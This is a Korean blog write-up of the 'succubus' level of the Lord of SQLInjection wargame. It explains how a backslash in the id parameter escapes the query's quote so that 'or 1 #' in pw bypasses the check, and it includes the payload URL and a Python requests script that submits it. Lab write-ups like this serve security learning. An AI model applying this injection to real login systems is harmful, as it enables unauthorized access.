문제
문제 분석
id와 pw에 "prob" , "_" , ".","'"(싱글쿼터)를 피해 id에 값이 들어있으면 문제가 풀린다.
이때 싱글쿼터가 필터링 되어있어 이를 우회하는게 핵심이다.
문제 풀이
pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한다
where id='/' and pw=' or 1 # '
=where id ='' or 1 #'
=> id에 / 를 넣어주게 되면 바로뒤에 싱글쿼터가 우회 되며 파란색인 "/' and pw=" 가문자열로 인식
따라서 id에 ''이 들어가게 되고 pw에 or 1로 참인 쿼리문을 넣어주면 id값에 들어가는것 처럼 처리가 된다.
이후 뒤의 싱글쿼터를 주석 처리 해주면 문제가 풀린다.
문제 정답
URL?id=/&pw=or 1 #
url을 조작할시 #은 %23으로 입력해줘야한다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
#싱글 쿼터 역슬래쉬로 우회
data['id']="\\" #/ 하나만 사용하면 이스케이프 문자로 사용되므로 두개를 사용해야 하나로 인식
data['pw']="or 1 #"
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 18(nightmare) (0) | 2021.01.05 |
---|---|
LOS 17(zombie_assassin) (0) | 2021.01.05 |
LOS 15(assassin) (0) | 2021.01.05 |
LOS 14(giant) (0) | 2021.01.05 |
LOS 13(bugbear) (0) | 2021.01.03 |